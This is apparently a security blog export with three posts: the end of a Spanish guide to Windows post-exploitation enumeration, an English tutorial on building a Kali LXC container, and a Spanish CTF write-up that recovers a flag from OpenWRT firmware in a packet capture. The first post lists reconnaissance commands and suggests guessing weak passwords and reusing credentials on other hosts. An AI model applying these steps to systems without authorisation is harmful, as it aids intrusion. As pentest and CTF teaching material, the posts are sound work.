Vaya vaya Joe, además del usuario “Administrador” también existe el usuario “Nyanyi” que pertenece al grupo “Administradores”…..uhmm….interesante. Con este simple comando acabamos de ampliar las opciones de ataque.

Información de red

¿Está el host solo en el mundo? ¿en que red está? ¿con que máquinas habla?.  Tener la respuesta a estas preguntas podría ser la puerta de acceso a otras máquinas del entorno, imaginar que se puede alcanzar el ansiado SYSTEM en esta máquina pero si dirigir el pentest a otras máquinas .

Por otra parte, es muy útil conocer que servicios están a la escucha en el activo,que conexiones hay con otras máquinas. Quién sabe, a lo mejor algunos de los servicios publicados es vulnerable…

Los comandos a ejecutar serían los siguientes:

  • ipconfig /all
  • route print
  • arp -A
  • netstat -ano







Nota: A partir de XP SP2 utilizar los siguientes comandos para obtener información sobre el Firewall de la máquina:

  • netsh firewall show state
  • netsh firewall show config


Información sobre los servicios

Hasta este punto, se ha hablado sobre cómo obtener información general del sistema, que usuarios tiene y que comunicaciones hay a nivel de red. Uno de los últimos puntos a tratar en esta introducción  son las “tareas” o “servicios” existentes en la máquina.

De momento, sin querer entrar en detalle, un servicio no es más que la ejecución, en segundo plano, de un binario. Por lo tanto, hay 3 conceptos claves:

      • Binario que determina que acciones realizara el servicio.
      • Usuario que ejecuta el servicio.
      • Los privilegios del servicio, por ende, serán los mismos que los del usuario.

Los comandos a ejecutar para obtener la información relacionada con los servicios son los siguientes:

  • schtasks /query /fo LIST /v | more (tareas programadas)


  • tasklist /SVC (servicios relacionado con su proceso)


  • net start


  • sc queryex type= service state= all | find “$_NAME” (hablaremos más adelante de este comando (thanks P4chul0).

Conclusiones de la fase I

Con toda la información que hemos obtenido es el momento de realizar una primera iteración con el objetivo de lograr System, o en su defecto, un usuario administrador.

Pruebas a realizar:

  1. Tenemos el nombre de los usuarios, a lo mejor, hay alguno de ellos sin contraseña o que ésta sea su mismo nombre. O inclusive, que la contraseña sea el nombre del hostname….por qué no?.
  2. Se puede buscar su nombre de usuario en Checkusernames con la idea de obtener aún más información de redes sociales.
  3. Probar los usuarios en otras máquinas de la red.
  4. ¿Hay algún servicio publicado vulnerable?
  5. Imaginar

Si nada de esto funciona, pasaremos a la fase II. Es esencial recopilar toda la información obtenida en esta fase, porque cualquier dato obtenido puede ser la clave que nos ayude en procesos futuros más complejos, por ejemplo, la búsqueda de un exploit o una reverse shell por un puerto que no este cerrado por el firewall…


Using LXC containers to (partially) replace Virtual Machines

Note: This post is the first that we write in English and even though till now all of them were written in Spanish, from now on we will publish content in both languages.

It doesn’t matter if it’s for doing pentests or participating in CTFs, preparing Virtual Machines for different systems and tools is a recurrent task.

For full blown virtualization the two main options are Virtual Box and the multiple flavors of VMWare, but (being an Ubuntu fan) I’ve been lately experimenting with LinuX Containers (LXC), a technology for Linux-based systems sometimes described as:

“something in the middle between a chroot and a full fledged virtual machine”


“lightweight virtualization technology. They are more akin to an enhanced chroot than to full virtualization like VMware or QEMU. They do not emulate hardware and containers share the same operating system as the host.”

Each option has its advantages and disadvantages:

  • There is almost no overhead in running a container, since everything is managed by the host kernel.
  • LXC containers use the host kernel and they are limited to Linux, so no Windows or OSX containers are feasible.

After this short introduction, in this post I will describe:

  • How to create a Kali-like unprivileged container starting from a Debian container.
  • How to “passthrough” devices to a container, like for example an USB RTL-SDR.
  • How to run GUI applications in a container.
  • Some general tips & tricks.

Everything explained here assumes that you are running an Ubuntu 14.04 (or a 12.04 with the 3.13 kernel) based host using the 1.0.x LXC branch (use this ppa for 12.04).

Most of the information showed here is just a recompilation from all this sources:

Configuring the host

We are gonna need at least to install this packages to host containers:

sudo apt-get install lxc systemd-services uidmap

And to be able to use unprivileged containers, we will have to follow the instructions posted by Stéphane Graber, one of the main maintainers of the project, in this post:

That can be resumed in:

Adding sub-UIDs & sub-GIDs for the current user with the following commands:

sudo usermod --add-subuids 100000-165536 $USER && \
sudo usermod --add-subgids 100000-165536 $USER && \
sudo chmod +x $HOME

Setting the default configuration for LXC in file ~/.config/lxc/default.conf:

lxc.network.type = veth
lxc.network.link = lxcbr0
lxc.network.flags = up
lxc.network.hwaddr = 00:16:3e:xx:xx:xx
lxc.id_map = u 0 100000 65536
lxc.id_map = g 0 100000 65536

And allowing the use of 10 virtual network-interfaces in the non-privileged containers adding this to file /etc/lxc/lxc-usernet:

$USER veth lxcbr0 10

Container creation

Now that our system is ready to create unprivileged containers, we can do create our first one. For example, we can download a image from the official repository to create our container with:

lxc-create --template download --name wheezy-kali

And choose, for this example: debian as distribution, wheezy as release and amd64 as architecture.

Once the image has finished downloading and the container has been created, we can start it in non-interactive mode with:

lxc-start --name wheezy-kali --daemon

And then install some basic packages, like OpenSSH and support for X11 forwarding, directly from the host:

lxc-attach --name wheezy-kali -- apt-get update
lxc-attach --name wheezy-kali -- apt-get dist-upgrade -y
lxc-attach --name wheezy-kali -- apt-get install openssh-server xauth -y

We can list the basic information from containers (like their IPs) with this command:

lxc-ls --fancy

Transforming a Debian container into Kali

To access the container we can use SSH, but first we will need to access it this way:

lxc-attach --name wheezy-kali

And set a password for the root user.

Once connected (or attached) to the Debian container, we can proceed with the apt sources modification, editing the /etc/apt/sources.list file to add the Kali repositories:

#deb [arch=amd64] http://http.debian.net/debian wheezy main contrib non-free
#deb [arch=amd64] http://security.debian.org/ wheezy/updates main contrib non-free
deb [arch=amd64] http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb [arch=amd64] http://security.kali.org/kali-security kali/updates main contrib non-free

And then updating our local copy with:

apt-get update

But an error will tell us that we don’t have the public key ID to verify the signatures of the packages in that repositories, so we should import and add it to apt with these commands:

gpg --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
gpg --armor --export ED444FF07D8D0BF6 | apt-key add -

If we update the software sources now, the error will be gone and we can finally turn the container into a Kali one:

apt-get update && apt-get install kali-archive-keyring && apt-get dist-upgrade -y

Hardware passthrough

As explained in multiple sources:

To passthrough devices we have to add lines like these ones in the config file of the containers (.local/share/lxc/container_name for unprivileged containers):

lxc.cgroup.devices.allow = c X:* rwm
lxc.mount.entry = /host_dir none bind,optional,create=dir

Using the minor and major nodes of the device/s that we want to grant access to.

Note: To find out the minor and major nodes of a device we can execute this on the host:

ls -lisah /sys/dev/*

For example, for using a RTL-SDR USB inside a container the following lines need to be added:

# RTL-SDR device
lxc.cgroup.devices.allow = c 189:* rwm
lxc.mount.entry = /dev/bus/usb/002 dev/bus/usb/002 none bind,optional,create=dir
lxc.mount.entry = /dev/rtl_sdr dev/rtl_sdr none bind,optional,create=file

Note: In the case of the RTL-SDR we will first have to configure the udev rules in the host system for it to work as a SDR:

And for an USB-to-serial converter I did have to add:

# USB-to-serial device
lxc.cgroup.devices.allow = c 188:0 rw

The only caveat with containers hardware passthrough is that anything that needs a modified kernel will only work if the host Kernel is modified.

Running GUI applications

Apart from running X11 applications trough a SSH we can also do it the “native” way, letting the unprivileged container access to the video-card devices (and even the audio server). For more information check this sources:

Tips & Tricks

Systemd based guests

When trying to containerize systemd based guests (like Arch Linux or Debian Jessie) we will need to use the current version of LXC (1.1.2 as of right now) and additional tools (like lxcfs). To get all those in supported versions of Ubuntu we will need to use the following PPA:

It should be noted that unprivileged containers and systemd are not working flawlessly right now, but as stated here:

More recent Debian is hitting a few systemd issues along the way but it eventually boots and seems functional, this will get resolved as Debian either updates to a more recent systemd or cherry-picks the various container fixes we committed to systemd upstream.

It should improve over time.

Offering network services from a container

To allow a service running inside a container to be reached from a network were the host is connected, we should add an iptables rule like this one in the host:

iptables --table nat --append PREROUTING --protocol tcp --in-interface eth0 --destination-port host_port --jump DNAT --to-destination $CONTAINER_IP:$CONTAINER_PORT

Bug in ZAP starting script (and maybe other Kali applications)

ZAP in Kali contains a bug that prevents it from starting in a host with a kernel different from the one that comes with Kali. In the file /usr/bin/zap the architecture is obtained with:

ARCH=`uname -r|cut -d "-" -f 3`

But a better way would be:

uname -m

But until they fix it (https://bugs.kali.org/view.php?id=2238), we can modify the corresponding comparison for our architecture:

-elif [ $ARCH == amd64 ]
+elif [ $ARCH == x86_64 ]

Recommended packages (for the forgetful)

In every Debian-based system that I use I like to install some essential packages to fight my poor memory:

apt-get install bash-completion command-not-found

Write-up VODKA – Final CTF NCN 2014

¡Buenas! Primero de todo me presento: mi nombre es Marc Peña (@p4chul0) y también soy miembro del equipo 0xB33r$. Hoy, continuando con las publicaciones sobre los retos de la final del CTF de la No cON Name, publicamos otro write-up.

Uno de los retos con los que estuve enfrascado durante el CTF fue VODKA (https://github.com/ctfs/write-ups/tree/master/ncn-ctf-2014/Vodka); en el mismo se obtenía un archivo con ese mismo nombre, que tras un primer análisis con file:

root@wheezy-kali:~/ctf_NCN/vodka# file vodka
vodka: bzip2 compressed data, block size = 900k

Parecía que se trataba de un archivo comprimido; tras extraerlo:

root@wheezy-kali:~/ctf_NCN/vodka# bzip2 -d vodka
bzip2: Can't guess original name for vodka -- using vodka.out

Obteníamos un archivo con una captura de tráfico de red:

root@wheezy-kali:~/ctf_NCN/vodka# file vodka.out
vodka.out: pcap-ng capture file - version 1.0

Que pasábamos a analizar con Wireshark:


Donde enseguida veíamos que se trataba de la transferencia de una imagen OpenWRT a través del protocolo TFTP.

Tras buscar como extraer el binario con el propio Wireshark nos encontramos con esto:

Que nos da a entender que la funcionalidad está implementada, pero no en la versión de Wireshark que tenemos instalada en nuestra Kali (1.10.2), por lo que tendríamos que compilar el trunk de Wireshark. Con el siguiente comando:

  • Instalaremos los paquetes necesarios para la compilación.
  • Clonaremos el repositorio de Wireshark.
  • Configuraremos y compilaremos el trunk.

apt-get install autoconf bison flex libtool libgtk2.0-dev libpcap-dev libc-ares-dev libsmi2-dev libgnutls-dev libgcrypt11-dev libkrb5-dev libcap2-bin libgeoip-dev libortp-dev libportaudio-dev qt4-dev-tools && \
apt-get build-dep wireshark && \
cd /opt/ && \
git clone https://code.wireshark.org/review/p/wireshark.git && \
cd /opt/wireshark && \
./autogen.sh && \
./configure --enable-dumpcap --enable-setcap-install --with-dumpcap-group=wireshark && \
make -j 8

Si todo ha ido bien ya podremos abrir el archivo con la última versión de Wireshark:

root@wheezy-kali:~/ctf_NCN/vodka# /opt/wireshark/wireshark vodka.out

Y exportar el archivo (File -> Export Objects -> TFTP):


Ahora tocaba lidiar con la imagen, por lo que instalamos el binwalk (https://github.com/devttys0/binwalk) del gran devttys0 (http://www.devttys0.com/):

apt-get install binwalk

Una vez hecho esto ya se podían observar las características de la imagen:

root@wheezy-kali:~/ctf_NCN/vodka# binwalk openwrt-wrtsl54gs-squashfs.bin
32 0x20 TRX firmware header, little endian, header size: 28 bytes, image size: 1323008 bytes, CRC32: 0x6CAC483 flags: 0x0, version: 1
2296 0x8F8 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
517152 0x7E420 Squashfs filesystem, little endian, version 2.1, size: 805671 bytes, 269 inodes, blocksize: 65536 bytes, created: Wed Oct 29 18:53:25 2014

Y extraer el sistema de archivos Squashfs (por defecto en el directorio “_openwrt-wrtsl54gs-squashfs.bin.extracted”):

root@wheezy-kali:~/ctf_NCN/vodka# binwalk -e openwrt-wrtsl54gs-squashfs.bin

Una vez dentro de este ya podíamos pasar a navegar por el sistema de archivos en busca de la flag:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root# ls
bin dev etc jffs lib mnt proc rom sbin tmp usr var www

En el directorio que miramos primero (/bin) encontramos un archivo con una fecha de modificación muy cercana a la de creación del sistema Squashfs:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root# ls -lisah bin/
total 596K
3670108 4.0K drwxr-xr-x 2 root root 4.0K Oct 29 18:50 .
3670107 4.0K drwxr-xr-x 14 root root 4.0K Jan 30 2007 ..
3670142 8.0K -rwxr-xr-x 1 root root 4.2K Oct 29 18:52 nc

Por lo que parecía un buen candidato para empezar a buscar. Si abríamos el archivo con un editor de texto veíamos que se trataba de un script en bash que muestra un “Nyan cat” en ASCII Art:

# --------------------------------------------------------------------------
# (c) 2012 BruXy Version: 1.0 http://bruxy.regnet.cz/
# --------------------------------------------------------------------------
# switch off cursor, set blue background, clear screen
echo -e "\E[?25l\E[44m\E[2J"
# Play music
#[ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
#while true; do mplayer $M > /dev/null 2>&1; done &
# easy way to reset terminal and exit subprocesses
trap "reset;killall nc" 2
## Nyan cat ANSI picture data, my own creation :P, size 38 x 11
# Compressed version of picture

Sabiendo esto vamos podíamos ir a buscar la versión original del mismo:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# wget http://bruxy.regnet.cz/linux/nyan_cat/nyan_cat.sh

Para analizar las diferencias:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# diff nyan_cat.sh nc
< M=/tmp/cat_orig.mp3
< [ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
< while true; do mplayer $M > /dev/null 2>&1; done &
> #M=/tmp/cat_orig.mp3
> #[ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
> #while true; do mplayer $M > /dev/null 2>&1; done &
< trap "reset;killall nyan_cat.sh" 2
> trap "reset;killall nc" 2
< printf "%*s" $[X*Y] BruXy
> file="/etc/banner"
> za="N"
> t1="C"
> drink="$(md5sum $file | grep -o ^[^\ ]*)"
> msg_="${za}${t1}${za}dead${drink}face"
> printf "%*s" $[X*Y] ${msg_}

¡Obteniendo lo que parece el código que genera la flag!

Creamos un nuevo archivo con este código (con la única modificación de la ruta del fichero, para convertirla en relativa):

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# cat vodka_flag.txt
drink="$(md5sum $file | grep -o ^[^\ ]*)"
printf "%*s" $[X*Y] ${msg_}

¡Y lo ejecutamos  para obtener la flag!:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# chmod +x vodka_flag.txt && ./vodka_flag.txt

Aunque tampoco pudimos resolver este reto dentro del CTF. no quiero terminar sin felicitar a los organizadores por unas pruebas de lo más originales.